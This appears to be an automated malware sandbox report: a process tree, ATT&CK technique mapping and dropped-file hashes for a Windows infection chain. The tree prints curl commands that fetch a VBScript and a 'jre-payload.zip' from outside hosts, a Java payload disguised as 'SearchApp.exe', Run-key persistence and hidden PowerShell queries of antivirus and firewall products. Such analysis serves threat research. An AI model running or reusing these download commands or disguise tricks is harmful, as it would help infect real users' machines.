    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6612,i,608519293506076479,1260282806516512430,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=4764 /prefetch:8
    3⤵
    PID:2432
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5368,i,17486605795390100697,14895969261367154592,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:8
    3⤵
    PID:2128
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5352,i,11366107440751682427,15331083900625618705,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:8
    3⤵
    PID:2600
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7044,i,7172186473444263625,4738767973737424536,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=5360 /prefetch:8
    3⤵
    PID:3168
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7076,i,3580855329574340566,17482777188820405847,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=6728 /prefetch:8
    3⤵
    PID:2132
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6764,i,15112711763569382517,16685874908671857106,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=7044 /prefetch:8
    3⤵
    PID:4320
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6868,i,9755943868998494840,12234624027944945386,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=3720 /prefetch:8
    3⤵
    PID:2324
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5352,i,11719299196945267856,18409743030710810916,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=6240 /prefetch:8
    3⤵
    PID:3640
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7028,i,679713435861032164,7336269226033922712,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=6768 /prefetch:8
    3⤵
    PID:3236
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4900,i,1064761997840723786,3629536795592450102,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=6868 /prefetch:8
    3⤵
    PID:5492
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6172,i,10318513942345925395,15398395039020043387,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=5644 /prefetch:8
    3⤵
    PID:4904
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5904,i,6684064434647911689,2714151678570694723,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=6084 /prefetch:8
    3⤵
    PID:5244
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1864,i,8184272299889299389,944406828199848187,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=6892 /prefetch:8
    3⤵
    PID:4052
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7016,i,12326453173330326896,17782416900817203953,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=4880 /prefetch:8
    3⤵
    PID:2864
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=7012,i,354145238650969344,16134059764849906333,262144 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1128
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6860,i,13513943361718700057,10083641794895311298,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:8
    3⤵
    PID:3756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -s -k -f -L -o "C:\Users\Admin\AppData\Local\Temp\b80abe48.vbs" "https://bs-deliver-e817.61d8f0e6ac62c139abd08ba5.workers.dev/d/inner/691cbe2e-d6bb-484d-8259-5c101c3909c0"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1268
- - C:\Windows\system32\curl.exe
    curl -s -k -f -L -o "C:\Users\Admin\AppData\Local\Temp\b80abe48.vbs" "https://bs-deliver-e817.61d8f0e6ac62c139abd08ba5.workers.dev/d/inner/691cbe2e-d6bb-484d-8259-5c101c3909c0"
    3⤵
    PID:556
- C:\Windows\System32\cscript.exe
  "C:\Windows\System32\cscript.exe" //nologo "C:\Users\Admin\AppData\Local\Temp\b80abe48.vbs"
  2⤵
  - Checks computer location settings
  - Adds Run key to start application
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:1348
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c curl -s -k -f -L -o "C:\Users\Admin\AppData\Local\Temp\91f3be8d.zip" "https://e90b66f5c6c3eeb113cee5588db54127.r2.cloudflarestorage.com/cdn-assets-neonstriker99/d/691cbe2e-d6bb-484d-8259-5c101c3909c0/jre-payload.zip?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=97696a30a356d8efdcbee2320a0b8933%2F20260728%2Fauto%2Fs3%2Faws4_request&X-Amz-Date=20260728T163511Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=44fa8093a6f9e5dfdb3f6b845b13325991e59b1e4c905e8c17af884a6ae92d64"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2808
  - - C:\Windows\system32\curl.exe
      curl -s -k -f -L -o "C:\Users\Admin\AppData\Local\Temp\91f3be8d.zip" "https://e90b66f5c6c3eeb113cee5588db54127.r2.cloudflarestorage.com/cdn-assets-neonstriker99/d/691cbe2e-d6bb-484d-8259-5c101c3909c0/jre-payload.zip?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=97696a30a356d8efdcbee2320a0b8933%2F20260728%2Fauto%2Fs3%2Faws4_request&X-Amz-Date=20260728T163511Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=44fa8093a6f9e5dfdb3f6b845b13325991e59b1e4c905e8c17af884a6ae92d64"
      4⤵
      PID:4764
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c tar -xf "C:\Users\Admin\AppData\Local\Temp\91f3be8d.zip" -C "C:\Users\Admin\AppData\Local\Temp\a1d3baf8"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3240
  - - C:\Windows\system32\tar.exe
      tar -xf "C:\Users\Admin\AppData\Local\Temp\91f3be8d.zip" -C "C:\Users\Admin\AppData\Local\Temp\a1d3baf8"
      4⤵
      PID:4188
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\SearchApp.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\SearchApp.exe" --enable-native-access=ALL-UNNAMED --add-opens java.desktop/java.awt=ALL-UNNAMED --add-opens java.desktop/sun.awt=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-modules jdk.httpserver --add-modules jdk.management --add-exports jdk.management/com.sun.management=ALL-UNNAMED -jar "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\Diagnostics\SearchApp.jar"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Enumerates connected drives
    - Drops file in Windows directory
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:520
  - - C:\Windows\SYSTEM32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
      4⤵
      Modifies registry key
      PID:5436
  - - C:\Windows\SYSTEM32\wevtutil.exe
      wevtutil qe Security /c:16 /f:text /rd:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5444
  - - C:\Windows\SYSTEM32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s
      4⤵
      Modifies registry key
      PID:5464
  - - C:\Windows\SYSTEM32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
      4⤵
      Modifies registry key
      PID:5600
  - - C:\Windows\SYSTEM32\wevtutil.exe
      wevtutil qe System /c:16 /f:text /rd:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5608
  - - C:\Windows\SYSTEM32\reg.exe
      reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
      4⤵
      Modifies registry key
      PID:5688
  - - C:\Windows\SYSTEM32\wevtutil.exe
      wevtutil qe Application /c:16 /f:text /rd:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5728
  - - C:\Windows\SYSTEM32\reg.exe
      reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
      4⤵
      Modifies registry key
      PID:5756
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue | ForEach-Object { $_.displayName + '|' + $_.productState }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6012
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Get-CimInstance -Namespace root/SecurityCenter2 -ClassName FirewallProduct -ErrorAction SilentlyContinue | ForEach-Object { $_.displayName + '|' + $_.productState }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiSpywareProduct -ErrorAction SilentlyContinue | ForEach-Object { $_.displayName + '|' + $_.productState }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5236
  - - C:\Windows\SYSTEM32\reg.exe
      reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall /s
      4⤵
      Modifies registry key
      PID:5516
  - - C:\Windows\SYSTEM32\reg.exe
      reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s
      4⤵
      Modifies registry key
      PID:5720
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\SearchApp.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\SearchApp.exe" -jar "C:\Users\Admin\AppData\Local\Temp\vg-updater.jar" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\Diagnostics\SearchApp.jar" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\Diagnostics\.update-1.8.61.tmp" ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\SearchApp.exe" -noverify --enable-native-access=ALL-UNNAMED --add-opens java.desktop/java.awt=ALL-UNNAMED --add-opens java.desktop/sun.awt=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-modules jdk.httpserver --add-modules jdk.management --add-exports jdk.management/com.sun.management=ALL-UNNAMED -jar "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\Diagnostics\SearchApp.jar"" 520
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      PID:5544
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\SearchApp.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\SearchApp.exe -noverify --enable-native-access=ALL-UNNAMED --add-opens java.desktop/java.awt=ALL-UNNAMED --add-opens java.desktop/sun.awt=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-modules jdk.httpserver --add-modules jdk.management --add-exports jdk.management/com.sun.management=ALL-UNNAMED -jar C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\Diagnostics\SearchApp.jar
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Enumerates connected drives
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:1840
      - C:\Windows\SYSTEM32\wevtutil.exe
        
        wevtutil qe Security /c:16 /f:text /rd:true
        6⤵
        
        PID:5728
      - C:\Windows\SYSTEM32\reg.exe
        
        reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s
        6⤵
        Modifies registry key
        
        PID:3832
      - C:\Windows\SYSTEM32\reg.exe
        
        reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
        6⤵
        Modifies registry key
        
        PID:992
      - C:\Windows\SYSTEM32\reg.exe
        
        reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
        6⤵
        Modifies registry key
        
        PID:5288
      - C:\Windows\SYSTEM32\reg.exe
        
        reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
        6⤵
        Modifies registry key
        
        PID:1252
      - C:\Windows\SYSTEM32\reg.exe
        
        reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
        6⤵
        Modifies registry key
        
        PID:1256
      - C:\Windows\SYSTEM32\wevtutil.exe
        
        wevtutil qe System /c:16 /f:text /rd:true
        6⤵
        
        PID:5236
      - C:\Windows\SYSTEM32\wevtutil.exe
        
        wevtutil qe Application /c:16 /f:text /rd:true
        6⤵
        
        PID:4552
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue | ForEach-Object { $_.displayName + '|' + $_.productState }"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5416
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Get-CimInstance -Namespace root/SecurityCenter2 -ClassName FirewallProduct -ErrorAction SilentlyContinue | ForEach-Object { $_.displayName + '|' + $_.productState }"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1516
      - C:\Windows\SYSTEM32\reg.exe
        
        reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall /s
        6⤵
        Modifies registry key
        
        PID:5228
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiSpywareProduct -ErrorAction SilentlyContinue | ForEach-Object { $_.displayName + '|' + $_.productState }"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6136
      - C:\Windows\SYSTEM32\reg.exe
        
        reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s
        6⤵
        Modifies registry key
        
        PID:5572

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2256

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2132

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\SearchApp.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\SearchApp.exe" -noverify -Dvanguard.opsec=true --enable-native-access=ALL-UNNAMED --add-opens java.desktop/java.awt=ALL-UNNAMED --add-opens java.desktop/sun.awt=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-modules jdk.httpserver --add-modules jdk.management --add-exports jdk.management/com.sun.management=ALL-UNNAMED -jar "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\Diagnostics\SearchApp.jar"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:5132

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2664

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping3620_1753360908\manifest.json
Size 160B
SHA256 31952875f8bb2e71f49231c95349945ffc0c1dd975f06309a0d138f002cfd23d
MD5 c3911ceb35539db42e5654bdd60ac956
SHA1 71be0751e5fc583b119730dbceb2c723f2389f6c
SHA512 d8b2c7c5b7105a6f0c4bc9c79c05b1202bc8deb90e60a037fec59429c04fc688a745ee1a0d06a8311466b4d14e2921dfb4476104432178c01df1e99deb48b331
TLSH
T1F1C08C73CC08AE7911B14B371B214642E3B8030B600039093A32084C0BA47B00262328
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping3620_207105104\manifest.json
Size 165B
SHA256 fc5dd0f6692cb24ec676b53527dabff28114c905dd08f72c97ac54a22c1bffae
MD5 1bfafb8c67c4ae6cf99faf6f1fcbe9e3
SHA1 77fc3483a895f1f429e6c6bb0f294a8fdc69dd08
SHA512 7237c88400ae032f4e745d8f0e5a869c29a76f0151b61ad2aed2ae1be7fd0b759d81c5e6b47535586533c0ab25291a25822174173f1bf6dbaab0298366aaea73
TLSH
T115C012229844793A12A183840A31CA82B2A0020B34E129023A79408C4F350749101619
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping3620_2079411005\manifest.json
Size 43B
SHA256 81bd82ac27612a58be30a72dd8956b13f883e32ffb54a58076bd6a42b8afaeea
MD5 af3a9104ca46f35bb5f6123d89c25966
SHA1 1ffb1b0aa9f44bdbc57bdf4b98d26d3be0207ee8
SHA512 6a7a543fa2d1ead3574b4897d2fc714bb218c60a04a70a7e92ecfd2ea59d67028f91b6a2094313f606560087336c619093f1d38d66a3c63a1d1d235ca03d36d1
MD5 SHA1 SHA512

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping3620_80052617\manifest.json
Size 135B
SHA256 bf066a2cf10074e847bef7c066a9c84deada6586412e181cb417c6426a5d60a4
MD5 616eb6b585f16811dc5db5063e088cd7
SHA1 fc50aa7b747f9367d2b177eab7ab12cdafdeea85
SHA512 cdaf55640f0279c1cee06338912a07bc8bc8cb3780f70202363e25b327eb94a524c0acdd25cc2b22fbb1895d32af888857b17b3f0d7a2064f51ccdf1bab57f79
TLSH
T1BFC04C668D41DEAB00A647A56B295315E23B4B4B5044400A7AB5429C1A285964271844
MD5 SHA1 SHA512 TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 bba2e49c11cb10e1da3782e96a0839de38ec558ccceb0d68515b04792179f852
MD5 34d661b06bc0857903247c15b32b3124
SHA1 72b12aeb58848c0b8474acb525b5e3c41cf32367
SHA512 ff623932c1d85ab3c9cf10c993d26b94c5e1d9968c6a6f9a48925137edcf7379ba3bc8d216e7fc052000ec59dab883f4b498f2262f7941a46d3328c62092e788
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7U:fwUQC5VwBIiElEd2K57P7U
TLSH
T1E0B3A931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

protocols.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.12\protocols.json
Size 3KB
SHA256 2edf732da5fd827859e7a1a5b69a4a622cfc416f60a6ae04154d5aad3a1bccec
MD5 5e2067a92dcfcb05537479c384a89725
SHA1 eeed29b07d865ac4d46629fddadad629d0ad4e2b
SHA512 c96c5f9cb7a169ad91b070b567cf9fa8f35951ccc5aa930e97dbeccbeac27f7e9dde1379138c9ba6b0d10339f9cb053ef21f19f06d7560f97d5d23a27c8ed4f6
TLSH
T17D7184B7862088194E360AB4AA0DF10DF93702DF2AF598D3B27D455F1F712BB3946249
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 6de34b260036ecaa4ce5839bc4a7ff7495e50b7b94349b12d9f840ca0e76da3b
MD5 56d82099872fb501c566d072ae897035
SHA1 2c96501551fc13c09496780960d8e7ccb4957b77
SHA512 c4b4017256caf25e88f146e6104134cddfd15089203e8e74c5196627fc92897f9fe7e3fc5c8305032be88e9409cdbc5dfe1e81017fcd5e38b3579b3d823b4a41
TLSH
T160D0C073378C7C00EA090170D013C3031FA7855824C39F03B100C01C54B43D9738B093
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 f5dece638cd89af82b06bd2fcb3d1738eef64d2275be237184ea8bff7af3fdfa
MD5 f19ec2293392af872f10929c41627e26
SHA1 0576f5277c470f5bb8c3f4d3786ca8d967d0a33e
SHA512 4cc85dc71d34bb516f8fe45b565a6a9b4cda255a931f33289247ed84150baf0e2df40fc87109df41771553b92545ed858197cdd3d673694c83458cf9812aa9dd
TLSH
T16CD02272268C6C00EA090170D01383021EA6855824839B03A100C01C44A52D9728A093
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 80adb9d67ebfaaf0b895b79240dffa06a9076f4060d0072ede6b056cad296690
MD5 a9929813032c05f2fb52720456a829c0
SHA1 5b45ef0f3ddf0626bb0605cd65a767c83e2ec0ae
SHA512 75dd7db76504cd82f2930470fb08c72b775e0b5fc01f03edaca05469d490001b09eb26fe005528755e575eebe187ed94545faa570c2a3c1cd19016e24d157ac5
TLSH
T1D0715C850B62F459EFAB31B1F0EA03073D30809A06B74F8A028C8D7E5909715FD65798
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58c6e5.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58c6e5.TMP
Size 3KB
SHA256 a9c1b66583fa0fee2daf55483598ab1bf8f221644113a4679060308e3105dbe3
MD5 95c093b9be5c992ea0c2f54eb4b1fdf4
SHA1 eb0267c16de6d4fdcfd6d02732b8c26c0bfc4f20
SHA512 4cc687778d7283da455f5210b956c8cc1c8b66c54f6be5579945fa363cdea96114e05574b2bf59b1800554155221dbefd599e9f546b184740a75feea1b6d8752
TLSH
